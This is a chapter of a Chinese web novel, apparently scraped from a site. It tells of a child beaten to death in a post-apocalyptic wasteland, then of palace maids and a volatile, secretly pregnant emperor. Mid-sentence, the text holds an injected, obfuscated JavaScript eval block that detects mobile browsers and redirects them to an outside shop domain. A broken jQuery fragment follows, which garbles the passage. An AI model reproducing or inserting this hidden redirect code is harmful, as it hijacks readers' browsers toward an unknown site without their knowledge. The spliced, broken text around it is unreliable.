废土的天空是灰暗的,四周原本繁华的城市已经在灾难下变成了废墟,风吹过这些废墟时会发出像狼嚎的声音。
初初以前经常被吓到,但是听多了,习惯之后就不会再被吓到。
他其实一直觉得习惯是个可怕的东西,毕竟失去可以习惯,离别可以习惯,受伤也可以习惯,就连接受死亡都可以习惯,似乎只要是习惯了就什么都没有关系了……
这难道不可怕吗?
只是初初的泪水在此刻无法控制的涌了出来,泪水滑过脸颊,滴落在地上。
好疼…肚子疼,脑袋也疼。
他觉得自己以后应该是没有办法再觉得习惯这种东西可怕了,因为他感觉自己恐怕要死了。
不想死……
他真的不想死……
血从嘴角溢出来,瘦小的身体躺在地上,他的意识在往下沉,残留的意识在最后一刻有了力气,模糊的视线清晰了一瞬,停留在了前边几个人的身上,再慢慢移到了被他们抢夺走,然后在他们手里装着的属于自己的全部家当的麻袋上。
初初有在听爸爸妈妈的话好好活着,可是活着好累,好痛苦,他真的撑不下去了。
他知道爸爸妈妈最爱初初,所以肯定不会怪初初现在撑不下去,然后要去找他们。
只是其实最初的时候,初初不只是听爸爸妈妈的话,还有就是他自己也是想活下去的。
虽然他不知道死亡是什么感觉,但是在他的印象里,死亡一直以来都是非常恐怖的东西,所以他害怕死亡,恐惧着死亡。
若是没有人来抢他辛苦找到的食物还有打自己的话,初初觉得自己肯定是可以再坚持活下去。
但是被打真的太疼了,就算习惯了也还是会疼的受不了。
就这样吧。
他已经不想再挣扎。
视线越来越模糊,他渐渐感觉不到身体的存在,疼痛在远去,脑子里的最后一个想法是原来这就是死亡吗?
瘦小的身体渐渐的没有了呼吸,身体开始慢慢变的僵硬。
*
抢走初初麻袋的两人并不知道身后的小人已经断了气,他们翻找着手里的麻袋,看到麻袋里的东西后,表情从贪婪变成了不可置信。
纷纷骂道:“这都是些什么破烂?”
他们把东西全部都倒了出来。
其中一人指着地上的东西道:“老大,有照片,碗盆,还有筷子。”
被叫老大的男人皱眉:“没有别的了?你再找找看,整天看着他跟护什么宝贝似的护着这个麻袋还以为里面有什么值钱东西,结果就这?一张已经看不清人影的照片,一个已经破了的碗盆,还有一双断了的筷子,这算什么宝贝?都是些送人都不要的破烂!”
另一个一直在喊老大的瘦弱男人在听到老大的吩咐后,内心里其实是觉得找不到老大想要的宝贝,可是奈何他只是个小弟,他的想法并不重要,只能蹲下去仔仔细细的翻找起来。
在翻第三遍之后,他脸色也算不得好,这才停下来,起身拍了拍手。
“老大,什么都没有找到,除了破烂就是破烂。”
老大踢了一脚破烂里的盆,砰的一声响起,随后他往地上唾了一口:“呸,晦气!”
“走!”
说完,便直直的往前走。
小弟则是往后看了一眼,但是很快又收回视线,声线抬高道:“好的,老大。”再抬脚跟了上去。
*
他们离开后,过了许久,一道脚步声响起。
“唉,真是个可怜的孩子。”
一个老人将地上被初初一直当做宝贝,却被那两人当做破烂的东西都用麻袋重新装好,再将地上的初初抬到肩膀上。
废土最不值钱的就是土地。
他将初初还有麻袋放进自己早就挖好的坑里。
布满皱纹的脸上是麻木,可是他虽然早就见过了这些的场景,但他还是不忍的,特别是对一个在废土里坚难求生的孩子就因为大人的贪婪而被活活打死,他如何能见这苦命的孩子死后连尸体都没有办法安宁。
“老头子我没有用,没有办法帮你报仇,只能在你死后给你找一个可以睡觉的地方。”
“这辈子受了这么多苦,下辈子肯定可以投了好胎,去一个没有受到污染的世界,做个受家人宠爱,平平安安长大的孩子。”
老人说完就爬出了坑,他的双手干枯,皮贴着肉,拿着那把生了锈的铲子一下接一下的往洞里填土。
他年轻大了,虽然还有点力气,但是耐力不行,填土的活到了晚上才填完。
其实这个坑是老人挖给自己的,只是没有想到,最后不是他自己用上的,而是一个孩子。
这个世界他觉得真是糟糕透了,孩子在他看来是代表的人类的新生一代,可是现在的孩子基本都活不下去。
当一个种族的新生一代开始断层的时候,就代表这个种族在自取灭亡。
老人捶了捶自己酸痛的腰,道理其实大家都懂,只是没有什么人重视,他人微言轻,没有人会听他的,以前他还会在乎,现在经历的多了之后,他已经不怎么在乎了。
毕竟他已经老了,很快就要死了,而且人类的未来不是他这个老头子能管的。
或许未来哪一天人类会开窍吧,但是他觉得自己应该是看不到了。
他站在这个坑前站了许久,直到他自己都不知道是什么时候,才抬着已经站麻的双腿离开。
————
京城覆上了一层白雪,寒风刮的脸颊疼。
皇宫里的宫人们终日提心吊胆的伺候着那位,但是以起以前,现在在那位还是好伺候些的。
毕竟早先那位刚登基的时候,宫里可以说是血流成河,死了不少人,有原本幸运活下来的老人同他们这些新进来宫里的新人讲过当初的惨状。
能被送进来当太监宫女的,在进宫之前的家里条件基本都不怎么好,他们见过的大场面不多,性子再大也大不到哪里去,可不就为了活命每天提心吊胆,生怕哪一天做的让那位不满意而丢了性命。
天阴沉沉的,雪刚停没过多久就又下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846694|211744||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了起来。
两个小宫女躲在角落,她们负责清扫地面的积雪,没有扫完不准离开,可是这鬼天气,刚扫完,马上又下回来了,她们没有办法,只能在一旁等着。
虽然身上穿着棉衣,可还是冷,寒风无孔不入,手冻的发红,这日子苦是苦,可是比起在宫外的日子还是要好过些的,每月有月钱拿,而且还包三餐,她们可以能吃饱。
陛下性子是喜怒无常了些,老人常说一不小心就可能丢命,但是她们只是底层的宫人,贵人的面很少看到,她们不觉得自己会轻易丢掉小命,可是害怕肯定是有的,只是与在宫外被饿死相比较起来,她们还是喜欢待在宫里。
“我听王嬷嬷说那位近来心情不怎么好,让我们近来别偷懒,免得被抓到错处,被打杀了。”
“我同个房里的姐姐说是那位的身体不适,所以才心情不好。”
“身体不适?”
“对,还说那位症状是食欲不振,呕吐。”
“啊?我记得我娘怀妹妹的时候就是这样的……”
“别胡说!那位可是男子!”
“啊!对!那位是男子!瞧我这嘴,尽说些要命的话,多谢妹妹的提醒,姐姐记你这份情!”
“不用,姐姐别再有下回,不然怕是没人会愿意同你说话了。”
“嗯!姐姐肯定谨记!”
风刮的越来越厉害,她们的声音渐渐被风声给掩盖。
*
灯火通明的养心殿里,魏帝坐在椅子上,一只手撑着头,闭着眼睛,面色有些苍白。
他有着一双极好看的凤眼,当年在没有变的如今这么疯的时候,相貌极好的他,在京城不知得了多少人的喜欢。
可至从那场变故发生后,一切都朝着众人意料之外发展。
当年的事,错不在陛下,这是所有人都知道的,但是杀兄囚父却是陛下亲手为之,臣子们都不太想掺和进他们的家事,可是那场变故迁扯太广,太多的人被牵连,不明不白的死在其中。
他们其实不想承认如今已经是最好的局面,可是要他们说出更好的结局来,却又是说不出来的。
养心殿里面的温度与外面的温度截然相反,魏帝只穿着一件单衣,能清楚的看到他的身材很好,肩宽腰窄,高挑修长。
大太监也是魏帝的贴身太监于年进来时眉心皱了皱,走到魏帝身边时开口道:“陛下,后面那位一直在闹着要见你。”
魏帝十分的平静,眼睛都没有打开,随意说:“让他闹,别让他死了就行。”
于年低头回:“是,陛下。”
魏帝不怎么喜欢除于年以外的宫人伺候,在经历那次变故后,他变的多疑起来,无法放着不信任或者是陌生的宫人待在自己的身边。
他缓缓睁开眼睛,面色的苍白褪去了些,但是心里头的恶心反胃感却是久久无法消失。
手边的茶已经变温,他拿起茶杯喝了一口。
另一只手放在自己的肚子上,虽还没有明显的显怀,可是却已经有了一点弧度,摸起来时很清楚。